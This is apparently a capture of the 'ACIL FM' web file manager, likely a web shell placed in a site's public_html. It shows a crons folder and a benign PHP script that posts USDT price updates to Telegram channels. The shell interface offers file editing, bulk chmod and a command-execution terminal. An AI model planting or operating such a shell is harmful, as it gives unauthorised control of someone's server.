ACIL FM
Dark
Refresh
Current DIR:
/home/fastexsh/public_html/tether/crons
/
home
fastexsh
public_html
tether
crons
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
forward_all.php
1.26 MB
chmod
View
DL
Edit
Rename
Delete
price_checker.php
1.43 MB
chmod
View
DL
Edit
Rename
Delete
send_all.php
1.17 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/fastexsh/public_html/tether/crons/price_checker.php
<?php chdir(__DIR__); require '../configs/configs.php'; require '../functions/methods.php'; require '../libs/jdf.php'; $exchange_price = getUsdtIrtPrice(); if ($exchange_price === null || $exchange_price === false || !is_numeric($exchange_price)) { die("price_error"); } $profit_percent = getSetting("profit_percent") ?? 2; $purchase_price = $exchange_price + ($exchange_price * ($profit_percent / 100)); $exchangeFormatted = number_format($exchange_price); $purchaseFormatted = number_format($purchase_price); $stmt = $pdo->prepare("SELECT channel_id FROM channels WHERE type = 'price_channel'"); $stmt->execute(); $channels = $stmt->fetchAll(); if (!$channels) { die("no_channel"); } $time = jdate("Y/m/d - H:i:s", strtotime(date("Y/m/d H:i:s")), tr_num: 'en'); $message = "💸 *بهروزرسانی نرخ لحظهای تتر (USDT)* 💰 *قیمت بازار:* `{$exchangeFormatted}` تومان 💵 *قیمت خرید از شما:* `{$purchaseFormatted}` تومان ⏱ بروزرسانی در: *{$time}*"; $inlineKeyboard = json_encode([ "inline_keyboard" => [ [ [ "text" => "🚀 ورود به ربات", "url" => "https://t.me/" . BOT_USERNAME ] ] ] ]); foreach ($channels as $ch) { $cid = "@" . $ch->channel_id; sendMessage($cid, $message, $inlineKeyboard); } die("sent");
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply